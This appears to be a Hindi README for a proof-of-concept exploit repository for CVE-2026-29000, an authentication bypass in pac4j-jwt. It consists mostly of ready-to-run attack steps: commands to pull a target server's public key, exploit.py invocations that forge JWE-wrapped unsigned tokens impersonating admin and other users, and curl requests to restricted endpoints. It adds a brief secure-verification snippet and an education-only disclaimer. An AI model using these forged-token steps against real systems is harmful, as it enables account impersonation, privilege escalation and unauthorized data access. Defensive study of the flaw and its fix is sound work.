
CVE-2026-29000 के लिए एक्सप्लॉइट, pac4j-jwt में JWE-रैप्ड PlainJWT के माध्यम से JWT प्रमाणीकरण बायपास, जो टोकन जालसाजी और विशेषाधिकार वृद्धि की अनुमति देता है।
pac4j-jwt में JWE-रैप्ड PlainJWT के माध्यम से JWT प्रमाणीकरण बाईपास
CVE-2026-29000 एक गंभीर प्रमाणीकरण बाईपास भेद्यता है जो pac4j-jwt के 4.5.9, 5.7.9, और 6.3.3 से पहले के संस्करणों को प्रभावित करती है। यह भेद्यता दूरस्थ हमलावरों को प्रमाणीकरण टोकन जाली बनाने और हस्ताक्षर सत्यापन को बायपास करने की अनुमति देती है।
यह भेद्यता एन्क्रिप्टेड JWT (JWE) को संसाधित करते समय JwtAuthenticator घटक में मौजूद है। जब एक JWE टोकन प्राप्त होता है:
exploit.py - दुर्भावनापूर्ण टोकन उत्पन्न करने के लिए Python एक्सप्लॉइट स्क्रिप्टvulnerable_server.py - भेद्यता का अनुकरण करने वाला प्रदर्शन सर्वरrequirements.txt - Python निर्भरताएँREADME.md - यह फ़ाइल# रिपॉजिटरी क्लोन करें
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000
# निर्भरताएँ स्थापित करें
pip3 install -r requirements.txt
python3 vulnerable_server.py
सर्वर निम्न कार्य करेगा:
server_private.pem और server_public.pem में सहेजा गया)वास्तविक हमले के परिदृश्य में, लक्ष्य सर्वर से सार्वजनिक कुंजी प्राप्त करें:
# JWKS एंडपॉइंट से सार्वजनिक कुंजी डाउनलोड करें
curl http://target-server.com/jwks > target_jwks.json
# या सीधा सार्वजनिक कुंजी एंडपॉइंट
curl http://target-server.com/public-key > target_public.pem
परीक्षण सर्वर के लिए:
curl http://127.0.0.1:5000/public-key > server_public.pem
JWE-रैप्ड PlainJWT बनाने के लिए एक्सप्लॉइट स्क्रिप्ट का उपयोग करें:
# मूल उपयोग - व्यवस्थापक के रूप में प्रमाणित करें
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
# एकाधिक भूमिकाओं के साथ विशिष्ट उपयोगकर्ता के रूप में प्रमाणित करें
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem
# कस्टम दावे जोड़ें
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","department":"IT"}'
# टोकन को फ़ाइल में सहेजें
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--output malicious_token.txt
# दुर्भावनापूर्ण टोकन सेट करें (exploit.py आउटपुट से कॉपी करें)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."
# सार्वजनिक एंडपॉइंट तक पहुंचें (काम करना चाहिए)
curl http://127.0.0.1:5000/api/public
# दुर्भावनापूर्ण टोकन के साथ उपयोगकर्ता एंडपॉइंट तक पहुंचें (बाईपास!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# दुर्भावनापूर्ण टोकन के साथ व्यवस्थापक एंडपॉइंट तक पहुंचें (विशेषाधिकार वृद्धि!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
व्यवस्थापक एंडपॉइंट से अपेक्षित सफल आउटपुट:
{
"status": "success",
"message": "Admin endpoint accessed - RESTRICTED DATA",
"user": "admin",
"roles": ["ROLE_ADMIN"],
"secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
"admin_info": "This is sensitive administrative data"
}
# 1. निर्भरताएँ स्थापित करें
pip3 install -r requirements.txt
# 2. कमजोर सर्वर प्रारंभ करें (टर्मिनल 1 में)
python3 vulnerable_server.py
# 3. नए टर्मिनल में, सार्वजनिक कुंजी प्राप्त करें
curl http://127.0.0.1:5000/public-key > server_public.pem
# 4. दुर्भावनापूर्ण व्यवस्थापक टोकन उत्पन्न करें
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt
# 5. टोकन को वेरिएबल में निकालें
TOKEN=$(cat token.txt)
# 6. सार्वजनिक एंडपॉइंट का परीक्षण करें (आधार रेखा - कोई प्रमाणीकरण आवश्यक नहीं)
curl http://127.0.0.1:5000/api/public
# 7. उपयोगकर्ता एंडपॉइंट का परीक्षण करें (हमारे दुर्भावनापूर्ण टोकन के साथ सफल होना चाहिए)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# 8. व्यवस्थापक एंडपॉइंट का परीक्षण करें (एक्सप्लॉइट सफल - प्रतिबंधित डेटा तक पहुंचना चाहिए)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
# 9. सत्यापित करें कि प्रतिक्रिया में फ्लैग है
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
[--claims CLAIMS] [--generate-keypair] [--output OUTPUT]
CVE-2026-29000: Generate malicious JWE-wrapped PlainJWT tokens
options:
-h, --help show this help message and exit
--subject SUBJECT, -s SUBJECT
Subject (username) to impersonate
--roles ROLES, -r ROLES
Comma-separated list of roles (e.g., ROLE_ADMIN,ROLE_USER)
--public-key PUBLIC_KEY, -k PUBLIC_KEY
Path to RSA public key PEM file
--claims CLAIMS, -c CLAIMS
Additional claims as JSON string
--generate-keypair, -g
Generate a test RSA keypair and save to files
--output OUTPUT, -o OUTPUT
Output file for the generated token
1. क्लाइंट हस्ताक्षर के साथ JWT भेजता है
2. सर्वर सार्वजनिक कुंजी के साथ हस्ताक्षर सत्यापित करता है
3. यदि मान्य है, तो दावे निकालता है
4. दावों के आधार पर पहुंच प्रदान करता है
1. हमलावर सर्वर की RSA सार्वजनिक कुंजी प्राप्त करता है
2. हमलावर मनमाने दावों के साथ PlainJWT (alg: none) बनाता है
उदाहरण: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. हमलावर सर्वर की सार्वजनिक कुंजी के साथ JWE का उपयोग करके PlainJWT को एन्क्रिप्ट करता है
4. सर्वर JWE को सफलतापूर्वक डिक्रिप्ट करता है
5. सर्वर हस्ताक्षर सत्यापन के बिना आंतरिक PlainJWT से दावे निकालता है
6. सर्वर जाली दावों के आधार पर पहुंच प्रदान करता है
भेद्यता निम्न कारणों से होती है:
def verify_jwe_token_secure(token, private_key):
# 1. JWE डिक्रिप्ट करें
inner_jwt = decrypt_jwe(token, private_key)
# 2. आंतरिक JWT हेडर पार्स करें
header = parse_jwt_header(inner_jwt)
# 3. महत्वपूर्ण: सत्यापित करें कि एल्गोरिदम "none" नहीं है
if header.get('alg') == 'none':
raise SecurityError("PlainJWT not allowed")
# 4. महत्वपूर्ण: आंतरिक JWT के हस्ताक्षर सत्यापित करें
if not verify_jwt_signature(inner_jwt, public_key):
raise SecurityError("Invalid JWT signature")
# 5. सत्यापन के बाद ही दावे निकालें
return extract_claims(inner_jwt)
pip3 install -r requirements.txtpython3 vulnerable_server.pycurl http://127.0.0.1:5000/public-key > server_public.pempython3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pemcurl http://127.0.0.1:5000/api/publiccurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/usercurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/adminFLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS} देखें# एक-लाइनर सेटअप और परीक्षण
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। इस उपकरण का उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके आप स्वामी हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास है।
MIT लाइसेंस - केवल शैक्षिक उद्देश्यों के लिए
सुरक्षा शोधकर्ता दिनांक: 2026-03-16